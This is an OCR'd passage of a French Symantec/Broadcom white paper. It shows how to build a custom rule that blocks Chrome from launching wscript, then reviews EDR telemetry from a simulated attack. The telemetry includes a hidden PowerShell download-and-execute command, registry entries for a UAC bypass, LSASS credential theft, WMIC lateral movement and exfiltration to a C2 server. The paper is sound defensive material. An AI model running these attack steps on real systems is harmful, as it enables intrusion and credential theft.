activités les plus récentes. Mais comme vous étes la seule personne a bien connaitre
votre environnement, SES Complete vous permet d’écrire vos propres protections
et détections et de les adapter a votre organisation.

Supposons gue nous souhaitons bloquer la phase initiale de I'attaque, a savoir
Chrome qui lance wscript.exe pour exécuter du code JavaScript malveillant.

SES Complete nous permet de le faire grace a la politique de comportement des
applications personnalisées. Bien que similaire a la protection adaptative décrite
précédemment, cette politique vous permet d’écrire vos propres régles adaptées
a votre organisation. Sa configuration peut étre fastidieuse, mais c’est un outil
extrémement puissant pour verrouiller un environnement.

Accédez a Policies (Politiques) et sélectionnez une politique de comportement
d’application personnalisée (ou créez-en une). Sélectionnez Add Rule Set (Ajouter
un ensemble de régles) pour ajouter un nouvel ensemble de régles.

@ 2oy rolicy @) remove policy @) Duplicate policy @) Delete @) More Actions 7
‘D, Custom Application Behaviors Policy
= POLICY NAME
; Custom Application Behavior 0
Jersion PoLICY TYPE DEVICE GROUPS
Adam Glick 0

CREATED BY POLICY GROUPS

Details

Custom Rule Sets @

Use custom rules to isolate custom application behaviors,

NO. RULE SET NAME STATUS @

removable drives [AC2]
2 Block modifications to hosts file

Nommez la regle et appuyez sur Add (Ajouter) pour ajouter la nouvelle regle.
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C’EST ICI QUE
L’APPLICATION PARENTE,

CHROME DANS NOTRE CAS
DE FIGURE, EST SPECIFIEE.

Details

Custom Rule Sets @

Use custom rules to isolate custom application behaviors.

NO. RULE SET NAME STATUS @

6 &lock Chrome launching wscript [ o

Block Chrome launching wscript

Cliquez sur la fleche vers le bas a coté de la nouvelle regle et appuyez sur le bouton
Add Rule (Ajouter une regle).

D I e [

Block Chrome launching wscript

(®) Rules @

I @ ~dd Rule I

Nommez la regle et appuyez sur Add Included Application (Ajouter une application
incluse).

Add Rule?

This rule defines process in which Symantec Endpoint Protection monitors for attempts specified in the rule condition.

Block chrome launching scripts

Enzble this rule

Applications
Included Applications

Befaviors and Actions List of included applications @

ncluded Application

FILE NAME HASH COMMAND LINE

Sub-processes inherit conditions

Summary: No applications have been defined in the included applications list. Add at least one application to the list

Cest ici que l'application parente, Chrome dans notre cas de figure, est spécifiée.
SES Complete propose différentes options pour le choix des processus auxguels
cette regle s’applique. Par exemple, vous pouvez choisir un chemin complet, juste
un nom d’application, de filtrer par types de lecteur (comme des lecteurs réseau
ou des supports amovibles tels que des clés USB), correspondances de hachage
ou expressions régulieres d’argument de ligne de commande. Dans notre cas, nous
choisissons une application nommée chrome.exe exécutée sans emplacement
spécifique.
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DANS L’ETAPE SUIVANTE, .
SPECIFIEZ LES ACTIONS Ad Included Application

QUE VOUS SOUHAITEZ © i

INTERDIRE A CHROME. [rone e )

The name can include environment variables. wildcards (*.2). and registry keys. Example: Séwindirsé\system32* or C:\windows* exe

s

@ Use wildcard matching (* and ? supported)

() Use regular expression matching

["] Only match applications running from the following drive types

[J only match applications running en the following device id type

Select

Match the File Fingerprint*

[} only match applications with the following arguments

Save Included Application

Dans I'étape suivante, spécifiez les actions que vous souhaitez interdire a Chrome.
Ici, nous souhaitons empécher Chrome de lancer un processus spécifique.
Sélectionnez Behaviors and Actions (Comportements et actions), la fleche vers le
bas a cété de Launch Process Attempts (Tentatives de processus de lancement) et
Add Condition (Ajouter une condition).

Add Rule®

This rule defines process in which Symantec Endpaint Protection monitors for attempts specified in the rule condition.

Block chrome launching scripts

Enable this rule

Applications Expand Al Collapse All

Behaviors and Actions @‘ File and Folder Access Attempts (] 0 Records

Launch Process Attempts o 0 Records

NO. CONDITION NAME DESCRIPTION

(%) Registry Access Attempts @ 0 Recoras
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ENCORE UNE FOIS, Nommez la condition et appuyez sur Add Process Definition (Ajouter une définition
NOUS DISPOSONS DE de processus).

DIFFERENTES OPTIONS o

POUR SPECIFIER DE s e e

MANIERE DETAILLEE LE Froperies A

P R o C ESS U S C I B L E . This condition defines the DLL's for which to detect load attempts by the monitored processes.

Block wscript

Enable this condition

Apply to the following processes: I @ Ada Process Definition I

Do not apply to the following processes: @ 2dd Process Definition

Encore une fois, nous disposons de différentes options pour spécifier de maniére
détaillée le processus cible. Dans notre cas, nous souhaitons bloquer tout processus
nommeé wscript.exe. Entrez un nom dans la zone Process Name to Match (Nom

de processus a trouver) et appuyez sur Save Process Definition (Enregistrer la
définition du processus).

Add Process Definition®

Benaviors and Actions | Launch Process Attempts | Add Process Dafiniion

@ Process Name to Match*

[wscvipt oxe

The name can include environment variables, wildcards (*,?), and registry keys. Example: %windirs\system32* or C:\windows*.exe
@ Use wildcard matching (* and ? supported)

() Use regular expression matching

[[] Only match process running from the following drive types

["] only match process running on the following device id type

Select

") Match the File Fingerprint®

[L] ©nly match processes with the following arguments

Cancel | Save Process Definition |
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Nous spécifions maintenant les actions a effectuer lorsque wscript.exe est lancé
par chrome.exe. Sélectionnez l'onglet Actions, appuyez sur Block access (Bloquer
'accés) et Save Condition (Enregistrer la condition).

Launch Process Attempts°

Beha, Actions | La

Astempts

Properties | Actions

This condition defines the DLL's for which to detect load attempts by the monitored processes.
Read Attempts
() Continue processing other rules

Allow access

@ Block access

Terminate Process

[} Enable Logaging

[] Novify User

Appuyez sur Save Rule (Enregistrer la régle).

Add Rule®
This rule defines process in which Symantec Endpeint Protection menitors for attempts specified in the rule condition.

Block chrome launching scripts

Enable this rule

Applications

Expand All | Collapse All

Behaviors and Actions @‘ File and Folder Access Attempts o 0Records

(&) Launch Process Attempts @ 1 Records

@ o concion

NO. CONDITION NAME DESCRIPTION

1 Block wscript

‘:E‘ Registry Access Attempts (] 0Records

Cancel

Choisissez ce que vous voulez faire avec I'ensemble de regles. Si vous souhaitez
simplement recevoir des notifications lorsque Chrome lance wscript, sélectionnez
Monitor (Surveiller). Nous vous recommandons d’exécuter de nouvelles régles en
mode Monitor (Surveiller) pendant un certain temps pour vous assurer qu’aucune
utilisation non légitime n’a lieu dans votre organisation.

Lorsque vous étes prét a définir la regle sur le blocage, sélectionnez On (Activé).
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SES COMPLETE AURAIT Sélectionnez Save (Enregistrer) en haut de I'écran pour enregistrer la politique.
BLOQUE L’ATTAQUE
DE NOMBREUSES FOIS
AVANT MEME QU’ELLE NE A EhEs0
DEMARRE.

© Add Rule set

NO. RULE SET NAME STATUS @

1 8lack programs from running from removable drives [AC2) it

2 Block modifications to hosts file

3 Block access to scripts ff

a Stop software installers

s Block access to Autorun.inf fF

6 8lock Chrome launching wscript

HHHHH

Enfin, assurez-vous d’appliquer la politique a un ou plusieurs groupes de terminaux
clients. Sélectionnez Apply Policy (Appliquer la politique) en haut de la page et
sélectionnez les groupes d’appareils auxguels appliquer la politique.

@ rennove poticy @) Dusiicats poiicy €@ Deiete @ More Actions

= Custom Application Behaviors Policy

f Custom Application Behavior o

Adam Glick 0

Details
Custom Rule sets @
=0 Lt rules 16 isnlate custom Application behaviors

@ Add Rule set
nNo RULE SET NAME STATUS @

1 Block programs frem running from ramavsble drives [ACZ]

s Lo hosts il i

I

a stop software Installers

s Block access to Autorun.inf

HHHHH

Récapitulatif de I’enquéte sur I’'attaque

Au tout début, dans la section « Description de I'attaque », nous avons décrit une
attague réelle impliguant une exécution utilisant du code JavaScript fortement
obfusqué, diverses techniques de découverte pour déterminer si la victime

est une cible appropriée, un trafic Command and Control chiffré, un transfert
d’'outils d’entrée pour déplacer les outils vers la machine victime, I'usurpation de
droits basée sur PowerShell a des fins de contournement du contrble de compte
d’utilisateur, le vol d’'informations d’identification, le stockage de données sur un
média intermédiaire, le mouvement latéral et I'exfiltration des données volées.

Alors, dans quelle mesure SES Complete a-t-il réussi a montrer ces étapes de
maniere claire et facile a comprendre ?

Comme indigué précédemment, SES Complete aurait blogué I'attaque de
nombreuses fois avant méme gu’elle ne démarre. Pour tester les capacités de

SES Complete au-dela de ces blocages, nous avons défini SES Complete sur un
mode spécial Monitor Only (Surveiller uniquement) (qui est déconseillé pour les
environnements de production) ou l'utilisateur est informé de toutes les activités,
mais olU aucune activité n'est bloquée. Etant donné que le blocage a été désactivé,
voyons étape par étape ce qui est affiché dans SESC.
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L’'attaque a commencé avec le téléchargement par Chrome d’'un code JavaScript malveillant. Chrome le télécharge initialement
dans un fichier temporaire nommeé « javascript[1] », puis le copie vers la destination finale, jkhertgbn.js.

Jan 17,2023, 12:52:15 PM

Jan 17, 2023, 12:52:15 PM

Jan 17, 2023, 12:52:15 PM

chrome.exe created javascript[1

Qutbound: chrome.exe sent 806 bytes to 173.194.202.132:443 and received 23609 bytes from 172.28.48.7:53971 via HTTPS,TLS.

]

chrome exe created jkhertgbn js.

Ingress Tool Transfer

Ingress Tool Transfer

application Layar Protocol: Web Pro... + 1 other () "C:\Users\edradmin\AppData\Roam... -..

[ Application Layer Protacol: Web Protocols Encryptad Channek:

Cryptography

"C:\Users\edradmin\AppData\Roam... ..

"C:\Users\edradmin\AppData\Roam... -

Chrome exécute ensuite le code JavaScript malveillant gu’il vient de télécharger.

Jan 17, 2023, 12:52:15 PM

chrome.exe launched wscript.exe.

Command and Scripting Interpreter + 1 other

"C:\Users\edradmin\AppData\Roaming\Google Chrome\Chrome.exe”

"C:\Windows\System32\wscript.exe” jkhertgbn.js

Le code JavaScript malveillant appelle ensuite divers programmes Windows pour recueillir des informations sur la machine locale.

Jan 17, 2023, 12:52:16 PM

Jan 17, 2023, 12:52:17 PM

Jan 17, 2023, 12:52:17 PM

Jan 17, 2023, 12:52:18 PM

Jan 17, 2023, 12:52:18 PM

wscript.exe launched whoami.exe.

wscript.exe launched net.exe.

wscript.exe launched net.exe.

net.exe launched net1.exe.

wscript.exe launched systeminfo.exe.

Account Discovery + 2 others

Remote Services: SMB/Windows ... + 1 other
Account Discovery: Domain Acco... + 3 others
Account Discovery: Domain Acco.. + 3 others

Account Discovery + 1 other

“C:\Windows\System32\wscript.exe” jkhertgb...

"C:\Windows\System32\wscript.exe” jkhertgb...

"C:\Windows\System32\wscript.exe” jkhertgb...

net user

"C:\Windows\System32\wscript.exe” jkhertgb...

whoami.exe

net user

net user

C:\Windows\system32\net1 user

systeminfo

SES Complete décode le code JavaScript au fur et a mesure de son exécution et remplace méme des variables pour voir les
résultats des programmes Windows existants exécutés a I'étape précédente.

v Jan 17, 2023, 12:52:23 PM
Data
Analysis
AMSI Risk
Vv Source Monitored
Data
~ Event Information
Event Type Id
> Jan 17, 2023, 12:52:23 PM

> o Jan 17, 2023, 12:52:24 PM

AMSI event detected for wscript.exe

{+

1-Not Detected

B018-AMSI Activity

wscript.exe launched powershell.exe.

Atrusted process launched with sus...

“C\windows\System32\wscript.exe” j...

IHost.CreateObject("WScript.5hell"); Iwshshell3.Special Folders(”

IHost.CreateObject({"WScript.Shell"); IwshsShell3.Special Folders(|

"C:\Windows\System32\wscrip

AppData”); IHost.CreateObject( " Scripting. FileSystemObject”); IFileSystem3.

Command and Scripting... + 1 other

IHost.CreateObject(”

IHost.CreateObject("WScript. Shell™);
IWshShell3.5pecialFolders("AppData");
IHost.CreateObject("Scripting. FileSystemObject");

IFileSystem3.FileExists{"C:\Users\edradmin\AppData\Roaming\test.tmp");
IFileSystem3.DeleteFile["C:\Users\edradmin‘AppData\Roaming\test.tmp”);
IFileSystem3.CreateTextFile("C:\Users\edradmin'AppData'Roaming'test.tmp", “true”);

IWshShell3.Exec["whoami.exe");
IWshExec.StdOut();

[TextStream.ReadAll);

ITextStream WriteLine("whoami output: ");
ITextStream. Writeline("victim-1'edradmin
")

IWshShell3.Exec("net user");
IWshExec.5tdOut();

[TextStream.ReadAll]);

[TextStream. WriteLine("net user output: ");
[TextStream. WriteLine(”

User accounts for WWICTIM-1

Administrator DefaultAccount edradmin
Guest speadmin");
IWshExec.StdErr();

|TextStream.ReadAll]);

[TextStream. WriteLine("net user err; ")
|TextStream. WriteLine(™");
IWshShell3.Exec...
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Nous voyons ensuite que JavaScript envoie les données jusgu’au serveur C&C et recoit des instructions supplémentaires pour
poursuivre l'attague sur cette cible.

Jan 17,2023,12:52:23PM  putbound: wscript.exe sent 3642 bytes to 52.1.93.201:443 and received 9595 bytes from 172.28.48.7:54066 via HTTPS,TLS. "C:\Windows\System32\wscript.exe” jkhertgbn.js Application L... +1 other

A l'étape précédente, I'attaquant a envoyé une commande pour que le code JavaScript exécute une commande PowerShell afin
de télécharger et d’exécuter la phase suivante de I'attaque.

1an17,2023,12:52:23PM  wscript.exe launched powershell.exe. Command and Scripting Interpreter: PowerShell "C\Windows\System32\wscript.exe” jkhertgbn.js  PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy E(@

FowerShell -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -Command “iex ((New-Object System Net WebClient). DownloadString(\"httpsy.
dri le.com/ucTexport I

Cette commande est assez suspecte. SES Complete envoie divers avertissements indiquant ce qui suit :
1. La ligne de commande est suspecte.

2. La commande téléchargera et exécutera le script.

3. L'instance PowerShell accede au réseau.

4. JavaScript exécute PowerShell.

Jan 17, 2023, 12:532:24 PM A trusted process launched with suspicious command line activity - Method 1 Exploitation for Client Executi...
Jan 17, 2023, 12:52:24 PM PowerShell executed with suspicious command line activity to download and execute seript Command and Scripting Inter...
Jan 17, 2023, 12:52:24 PM  powerShell accessing network via HTTP(s) (actor: PowerShell) (target: HTTP Access). Command and Scripting Inter... + 1 other

Jan 17, 2023, 12:52:25 PM  Windows Scripting Host (WScript) launching PowerShell (actor: WScript) (target: PowerShell). Command and Scripting Inter... + 1 other

Jan 17, 2023, 12:52:27 PM powerShell activity: System.Net.WebClient.DewnloadString{https://drive.google.com/uc?ex... Command and Scripting Inter... + 2 others

La commande télécharge ensuite le script malveillant a partir de Google Drive. Cela se passe entierement en mémoire ; le fichier
n'est jamais écrit sur le disque.

> Jan 17, 2023, 12:52:27 PM Outhound: powershell.exe sent 421 bytes to 74.125.135.100:443 and received 8112 bytes from...  Application Layer Protocol: Web Protocals + 1 other

> Jan 17, 2023, 12:52:28 PM Outbound: powershell.exe sent 609 bytes to 173.194.202.132:443 and received 21903 bytes fro...  Application Layer Protocol: Web Protocals + 1 other
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Nous voyons ensuite plusieurs activités intéressantes provenant de 'instance PowerShell téléchargée.

1. Comme avec le code JavaScript précédent, SES Complete affiche les détails de I'instance PowerShell en cours d’exécution.

2. Une clé de Registre est créée a 'emplacement HKCU:\Software\Classes\Launcher.SystemSettings\shellex\

ContextMenuHandlers.

3. PowerShell lance I'outil de gestion de licences Windows slui.exe, un programme Windows légitime doté d’un niveau d’'intégrité

éleveé.

4. Slui.exe lance ensuite changepk.exe, un autre programme Windows légitime. Cela fait partie du fonctionnement normal de cet

outil de gestion de licences Windows.

5. Changepk.exe lance ensuite un PowerShell malveillant avec un niveau d’intégrité élevé. Ce n’est pas le fonctionnement normal

de la gestion de licences Windows.

6. Il s’agit d’'un abus de la fonctionnalité de gestion de licences Windows suite a la modification du Registre effectuée a I'étape 2
ci-dessus. SES Complete considéere cela comme un contournement d’'UAC suspecté.

Il s’agit de découvertes importantes. SES Complete détecte clairement l'usurpation de droits qui vient de se produire en plus de

toutes les étapes qui ont conduit a celle-ci.

> 1 1an17,2023,12:52:28 PM Powershell activity: Command and Scripting Interpreter, Scripting, Indica...
> Jan 17,2023,12:52:28 PM PowerShell activity: Command and Scripting Interpreter, Scripting

> 2 1an17,2003,12:52:28PM  powershell.exe created HKEY_USERS\S-1-5-21-3625167640-1369257362-4...
>@) 1an 17,2023, 12:52:31 PM Suspected UAC bypass via registry entries - Generic Method 23

> 3 1an17,2023,125231PM  powershell.exe launched slui.exs with elevated integrity level

> lan 17,2023,12:52:32 PM slui.exe launched slui.exe.

> 4 1an17,2023,1252:32PM  siui.exe launched changepk.exe

> Jan 17,2023,12:52:33 PM PowerShell accessing network via HTTP(s) (actor: PowerShell} (target: HT...
> Jan17,2023,12:52:33PM  PowerShell executed with suspicious command line activity to download ...
> @ 1an 17,2023, 125233 FPM A trusted process launched with suspicious command line activity - Meth..
> 5§ 1an17,2023,12:52:33 PM changepk.exe launched powershell.exe.

Command and Scripting Interpreter: PowerShell + 2 others

Command and Scripting Interpreter: PowerSh

Abuse Elevation Control Mechanism: Bypass

Clear-Host; SIPath = pwd; $Choise = SNull; SCommand = sn(i)

Clear-Host;
§IPath = pwd;
$Choise = §Null
§Command = $Null;

§Command = "powershell.exe -windowstyle hidden -exec bypa:
export=downloadiid

"IEX (New-Object NetWebClient).D: htp: - le.com]

#22 Add Entrys to Regedit {powershell}

write-host * [i] Adding Entrys to Regedit (HKCU) .. -FereGroundColor Green -BackGroundColor Black;

New-ltem "HKCUASoftware\Classes\Launcher SystemSettings" -Force|Out-Null

-Path "HKCL I * -Name “(default]" -Value ‘Open’ -Force -ErrorAction SilentlyContinuel

perty

Nulk

New-Item "HKCU: |asses\Launch

" -Force|Out-Null
New-Item "HKCU: Iasses\Launch
perty -Path "HKCL !
SilentlyContinus|Out-Null;
perty -Path "HKCL

" -Force|Out-Null
Open -Name “(default)” -Value Open -Force -ErrarAction

ALaun:

Command and Scripting Interpreter: PowerShell + 1 other

Command and Scripting Interprater: Powershell + 1 other

Exploitation for Client Execution

Command and Scripting Interpreter: PowerShell

Maintenant que I'attaquant dispose de privileges élevés, il vole les informations d’identification stockées dans la mémoire LSASS.

Jan 17,2023, 12:52:53 PM

PowerShell loaded cryptography DLLs and accessed Local Security Authority Subsystem Service (LSASS) memory

OS Credential Dumping + 1 other

08 Credential Dumping, 05 Credential Dumping: LSASS Memory
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De plus, 'attaguant effectue un gros travail de découverte sur 'utilisateur, la machine et les autres machines du réseau.

Jan 17, 2023, 12:52:56 PM powershell.exe launched sc.exe. System Service Discovery "C\Windows\system32\sc.exe” query

Jan 17, 2023, 12:52:57 PM powershell.exe launched net.exe. Metwork Share Discovery + 1 other "C:\Windows\system32\net.exe” share

Jan 17, 2023, 12:52:58 PM net.exe launched netl.exe. Network Share Discovery + 1 other C:\Windows\system32\net1 share

Jan 17, 2023, 12:52:59 PM powershell.exe launched tasklist.exe. Process Discovery + 2 others "C\Windows\system32\tasklist.exe"

Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remaote System Discovery + 1 other "C:\Windows\system32\nslookup.exe™ 172.28.48.1
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.2
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remaote System Discovery + 1 other "C:\Windows\system32\nslookup.exe™ 172.28.48.3
Jan 17, 2023, 12:53:03 PM powershell.exe launched nslookup.exe. Remate System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.4
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe* 172.28.48.5
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remaote System Discovery + 1 other "C:\Windows\system32\nslookup.exe™ 172.28.48.6
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remate System Discovery + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.7
Jan 17, 2023, 12:53:04 PM powershell.exe launched nslookup.exe. Remote System Discovery + 1 other "C:\Windows\system32\nslookup.exe* 172.28.48.8

Toutes les informations d’identification et de découverte volées sont transférées dans un fichier sur disque.

Jan 17,2023, 12:53:04 PM powershell.exe modified stageddata.txt. "PowerShell.exe” -windowstyle hidden -exec bypass -C "IEX ...  Data Staged

Un mouvement latéral est effectué vers les systémes trouvés a l'aide de la fonctionnalité de découverte des systémes distants
évoquée plus haut. Sur Victim-1, la machine initiale a laguelle 'attaguant a accédé en premier, nous voyons que PowerShell lance
WMIC.exe pour créer un processus distant sur Victim-2.

Jan 17,2023, 12:53:04 PM  powershell.exe launched wmic.e... Victim-1 "PowerShell.exe” -windowstyle hidden -ex..  "C:\Windows\System32\Whem\WMIC.exe" [failfast:on /node:"Victim-2* process call create “powershell -windowst...

Ensuite, nous voyons que I'attaquant accéde a Victim-2.

Jan 17,2023,12:53:04 PM A trusted process launched with suspic...  Victim-2 — CSIDL_SYSTEM\wbem\wmiprvs...  Exploitation for C... + 1 other Enterprise Execut... + 1 other (f_q)

[ Enterprise Exccution Enterprise Defense Evasion Enterprise Lateral Movement

Les données stockées sur un média intermédiaire contenant des informations d’identification volées et d’autres données stockées
sur un média intermédiaire sont ensuite exfiltrées vers le serveur Command and Control.

> Jan17,2023,12:33:04 PM  Outbound: powershell.exe sent 279887 bytes to 34.224.50.110:443 and received 986642 byte... | Exfiltration Over C2 Ch... (E_-w)l powershell -windowstyle hidden -nop -exec bypass -c IEx (New-Object Net.Web...

Exfiltration Over C2 Channel

SES Complete envoie une alerte par le biais d’'un incident montrant qu’un fait grave s’est produit. Encore mieux, il détaille
clairement chaque partie de 'attaque.

Détection, examen et traitement des attaques avancées avec Symantec Endpoint Security Complete | LIVRE BLANC | 37



v Symantec.

by Broadcom

Conclusion

Avec un agent unique et facile a déployer, SES Complete offre une protection
inégalée qui empéche la plupart des attaquants de pénétrer dans votre
environnement. Si une menace parvient a contourner la protection, les technologies
de détection avancées de SES Complete transmettent I'attaque a I'équipe de
réponse aux incidents dans une terminologie MITRE ATT&CK facile a comprendre
et fournissent des détails précis sur les événements qui se sont produits. Les outils
d’examen et de réponse de qualité supérieure de SES Complete constituent une
aide précieuse pour corriger rapidement et efficacement les menaces.
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Pour plus d’informations, visitez notre site Web a I’adresse suivante : www.broadcom.com

®
n B R OA D‘ : O M Copyright © 2024 Broadcom. Tous droits réservés. Le terme « Broadcom » fait référence & Broadcom Inc. et/ou ses filiales.
* Tous les noms et marques déposées, dénominations commerciales, ainsi que tous les logos référencés dans le présent document
connecting everything e demeurent la propriété de leurs détenteurs respectifs

SESC-HRAA-WP100_FR, 15 aolt 2023

| LIVRE BLANC | 38


http://www.broadcom.com

